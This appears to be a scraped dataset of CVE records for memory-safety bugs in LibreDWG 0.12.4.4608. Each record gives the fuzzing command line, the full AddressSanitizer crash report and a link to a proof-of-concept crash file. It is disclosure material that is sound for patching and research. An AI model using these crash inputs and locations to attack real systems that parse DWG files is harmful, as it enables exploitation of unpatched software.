0x10007efbeb40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x10007efbeb50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8989==ABORTING
### poc
https://gitee.com/cxlzff/fuzz-poc/raw/master/libredwg/decode_preR13_uaf
| heap-use-after-free exists in the function decode_preR13_section in decode_r11.c | https://api.github.com/repos/LibreDWG/libredwg/issues/487/comments | 3 | 2022-06-07T01:31:30Z | 2022-12-15T08:44:07Z | https://github.com/LibreDWG/libredwg/issues/487 | 1,262,609,657 | 487 | 3,776 |
CVE-2022-33026 | 2022-06-23T17:15:14.073 | LibreDWG v0.12.4.4608 was discovered to contain a heap buffer overflow via the function bit_calc_CRC at bits.c. | {
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### Command line
./programs/dwg2dxf -b -m @@ -o /dev/null
### AddressSanitizer output
==8982==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x616000000592 at pc 0x0000005289e1 bp 0x7fffffffca80 sp 0x7fffffffca78
READ of size 1 at 0x616000000592 thread T0
#0 0x5289e0 in bit_calc_CRC /testcase/libredwg/src/bits.c:3257:29
#1 0x7059b1 in decode_preR13 /testcase/libredwg/src/decode_r11.c:760:14
#2 0x53245a in dwg_decode /testcase/libredwg/src/decode.c:209:23
#3 0x50d759 in dwg_read_file /testcase/libredwg/src/dwg.c:254:11
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#5 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x419ee9 in _start (/testcase/libredwg/programs/dwg2dxf+0x419ee9)
0x616000000592 is located 0 bytes to the right of 530-byte region [0x616000000380,0x616000000592)
allocated by thread T0 here:
#0 0x4d2750 in calloc /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74
#1 0x50cdd0 in dat_read_file /testcase/libredwg/src/dwg.c:91:33
#2 0x50d708 in dwg_read_file /testcase/libredwg/src/dwg.c:247:15
#3 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#4 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /testcase/libredwg/src/bits.c:3257:29 in bit_calc_CRC
Shadow bytes around the buggy address:
0x0c2c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff80a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2c7fff80b0: 00 00[02]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8982==ABORTING
### poc
https://gitee.com/cxlzff/fuzz-poc/raw/master/libredwg/bit_calc_CRC_bof
| heap-buffer-overflow exists in the function bit_calc_CRC in bits.c | https://api.github.com/repos/LibreDWG/libredwg/issues/484/comments | 3 | 2022-06-07T01:21:33Z | 2022-12-15T08:15:29Z | https://github.com/LibreDWG/libredwg/issues/484 | 1,262,604,647 | 484 | 3,777 |
CVE-2022-33027 | 2022-06-23T17:15:14.113 | LibreDWG v0.12.4.4608 was discovered to contain a heap-use-after-free via the function dwg_add_handleref at dwg.c. | {
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Ubuntu x86_64, clang 6.0, dwg2dxf([0.12.4.4608](https://github.com/LibreDWG/libredwg/releases/tag/0.12.4.4608))
### Command line
./programs/dwg2dxf -b -m @@ -o /dev/null
### AddressSanitizer output
==8997==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000730 at pc 0x000000517369 bp 0x7fffffffc7d0 sp 0x7fffffffc7c8
READ of size 8 at 0x604000000730 thread T0
#0 0x517368 in dwg_add_handleref /testcase/libredwg/src/dwg.c:2014:21
#1 0x7ea615 in dwg_add_BLOCK_HEADER /testcase/libredwg/src/dwg_api.c:24588:3
#2 0x70baf6 in decode_preR13_section /testcase/libredwg/src/decode_r11.c:325:20
#3 0x705d0a in decode_preR13 /testcase/libredwg/src/decode_r11.c:830:12
#4 0x53245a in dwg_decode /testcase/libredwg/src/decode.c:209:23
#5 0x50d759 in dwg_read_file /testcase/libredwg/src/dwg.c:254:11
#6 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#7 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#8 0x419ee9 in _start (/testcase/libredwg/programs/dwg2dxf+0x419ee9)
0x604000000730 is located 32 bytes inside of 48-byte region [0x604000000710,0x604000000740)
freed by thread T0 here:
#0 0x4d23a0 in __interceptor_cfree.localalias.0 /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:55
#1 0x7070a2 in decode_preR13_header_variables /testcase/libredwg/src/./header_variables_r11.spec:65:3
#2 0x232900001100144d (<unknown module>)
previously allocated by thread T0 here:
#0 0x4d2750 in calloc /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74
#1 0x54900c in dwg_new_ref /testcase/libredwg/src/decode.c:4027:43
SUMMARY: AddressSanitizer: heap-use-after-free /testcase/libredwg/src/dwg.c:2014:21 in dwg_add_handleref
Shadow bytes around the buggy address:
0x0c087fff8090: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c087fff80a0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff80b0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff80c0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff80d0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
=>0x0c087fff80e0: fa fa fd fd fd fd[fd]fd fa fa 00 00 00 00 00 00
0x0c087fff80f0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fd
0x0c087fff8100: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff8110: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff8120: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff8130: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8997==ABORTING
### poc
https://gitee.com/cxlzff/fuzz-poc/raw/master/libredwg/dwg_add_handleref_uaf
| heap-use-after-free exists in the function dwg_add_handleref in dwg.c | https://api.github.com/repos/LibreDWG/libredwg/issues/490/comments | 3 | 2022-06-07T01:40:09Z | 2022-12-15T08:40:34Z | https://github.com/LibreDWG/libredwg/issues/490 | 1,262,614,234 | 490 | 3,778 |
CVE-2022-33028 | 2022-06-23T17:15:14.150 | LibreDWG v0.12.4.4608 was discovered to contain a heap buffer overflow via the function dwg_add_object at decode.c. | {
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### Command line
./programs/dwg2dxf -b -m @@ -o /dev/null
### AddressSanitizer output
==8995==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62e00000ac80 at pc 0x0000004bc125 bp 0x7fffffffc7c0 sp 0x7fffffffbf70
WRITE of size 168 at 0x62e00000ac80 thread T0
#0 0x4bc124 in __asan_memset /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:457
#1 0x5a062e in dwg_add_object /testcase/libredwg/src/decode.c:4740:3
#2 0x7e0942 in dwg_add_VIEW /testcase/libredwg/src/dwg_api.c:24619:3
#3 0x70c71e in decode_preR13_section /testcase/libredwg/src/decode_r11.c:434:13
#4 0x705d7a in decode_preR13 /testcase/libredwg/src/decode_r11.c:834:12
#5 0x53245a in dwg_decode /testcase/libredwg/src/decode.c:209:23
#6 0x50d759 in dwg_read_file /testcase/libredwg/src/dwg.c:254:11
#7 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#8 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x419ee9 in _start (/testcase/libredwg/programs/dwg2dxf+0x419ee9)
0x62e00000ac80 is located 0 bytes to the right of 43136-byte region [0x62e000000400,0x62e00000ac80)
allocated by thread T0 here:
#0 0x4d2968 in realloc /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:79
#1 0x70b9ca in decode_preR13_section /testcase/libredwg/src/decode_r11.c:273:32
#2 0x705d7a in decode_preR13 /testcase/libredwg/src/decode_r11.c:834:12
#3 0x50d759 in dwg_read_file /testcase/libredwg/src/dwg.c:254:11
#4 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#5 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:457 in __asan_memset
Shadow bytes around the buggy address:
0x0c5c7fff9540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5c7fff9550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5c7fff9560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5c7fff9570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5c7fff9580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5c7fff9590:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff95a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff95b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff95c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff95d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5c7fff95e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8995==ABORTING
### poc
https://gitee.com/cxlzff/fuzz-poc/raw/master/libredwg/dwg_add_object_bof
| heap-buffer-overflow exists in the function dwg_add_object in decode.c | https://api.github.com/repos/LibreDWG/libredwg/issues/489/comments | 3 | 2022-06-07T01:37:45Z | 2022-12-15T08:41:39Z | https://github.com/LibreDWG/libredwg/issues/489 | 1,262,613,027 | 489 | 3,779 |
CVE-2022-33032 | 2022-06-23T17:15:14.190 | LibreDWG v0.12.4.4608 was discovered to contain a heap-buffer-overflow via the function decode_preR13_section_hdr at decode_r11.c. | {
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### Command line
./programs/dwg2dxf -b -m @@ -o /dev/null
### AddressSanitizer output
==8993==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000000144 at pc 0x0000007064dc bp 0x7fffffffca00 sp 0x7fffffffc9f8
WRITE of size 4 at 0x611000000144 thread T0
#0 0x7064db in decode_preR13_section_hdr /testcase/libredwg/src/decode_r11.c:136:13
#1 0x70583b in decode_preR13 /testcase/libredwg/src/decode_r11.c:737:12
#2 0x53245a in dwg_decode /testcase/libredwg/src/decode.c:209:23
#3 0x50d759 in dwg_read_file /testcase/libredwg/src/dwg.c:254:11
#4 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#5 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x419ee9 in _start (/testcase/libredwg/programs/dwg2dxf+0x419ee9)
0x611000000144 is located 4 bytes to the right of 256-byte region [0x611000000040,0x611000000140)
allocated by thread T0 here:
#0 0x4d2750 in calloc /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74
#1 0x7055f0 in decode_preR13 /testcase/libredwg/src/decode_r11.c:700:40
#2 0x50d759 in dwg_read_file /testcase/libredwg/src/dwg.c:254:11
#3 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#4 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /testcase/libredwg/src/decode_r11.c:136:13 in decode_preR13_section_hdr
Shadow bytes around the buggy address:
0x0c227fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8020: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c227fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8993==ABORTING
### poc
https://gitee.com/cxlzff/fuzz-poc/raw/master/libredwg/decode_preR13_section_hdr_bof
| heap-buffer-overflow exists in the function decode_preR13_section_hdr in decode_r11.c | https://api.github.com/repos/LibreDWG/libredwg/issues/488/comments | 3 | 2022-06-07T01:34:49Z | 2022-12-15T08:43:05Z | https://github.com/LibreDWG/libredwg/issues/488 | 1,262,611,394 | 488 | 3,780 |
CVE-2022-33033 | 2022-06-23T17:15:14.230 | LibreDWG v0.12.4.4608 was discovered to contain a double-free via the function dwg_read_file at dwg.c. | {
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### Command line
./programs/dwg2dxf -b -m @@ -o /dev/null
### AddressSanitizer output
==9541==ERROR: AddressSanitizer: attempting double-free on 0x61a000000100 in thread T0:
#0 0x4d23a0 in __interceptor_cfree.localalias.0 /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:55
#1 0x50d77a in dwg_read_file /testcase/libredwg/src/dwg.c:258:7
#2 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#3 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x419ee9 in _start (/testcase/libredwg/programs/dwg2dxf+0x419ee9)
0x61a000000100 is located 128 bytes inside of 1321-byte region [0x61a000000080,0x61a0000005a9)
allocated by thread T0 here:
#0 0x4d2750 in calloc /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74
#1 0x50cdd0 in dat_read_file /testcase/libredwg/src/dwg.c:91:33
#2 0x50d708 in dwg_read_file /testcase/libredwg/src/dwg.c:247:15
#3 0x50c454 in main /testcase/libredwg/programs/dwg2dxf.c:258:15
#4 0x7ffff6e22c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: double-free /fuzzer/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:55 in __interceptor_cfree.localalias.0
==9541==ABORTING
### poc
https://gitee.com/cxlzff/fuzz-poc/raw/master/libredwg/dwg_read_file_df
| double-free exists in the function dwg_read_file in dwg.c | https://api.github.com/repos/LibreDWG/libredwg/issues/493/comments | 2 | 2022-06-08T01:47:21Z | 2022-12-01T08:12:49Z | https://github.com/LibreDWG/libredwg/issues/493 | 1,264,080,771 | 493 | 3,781 |
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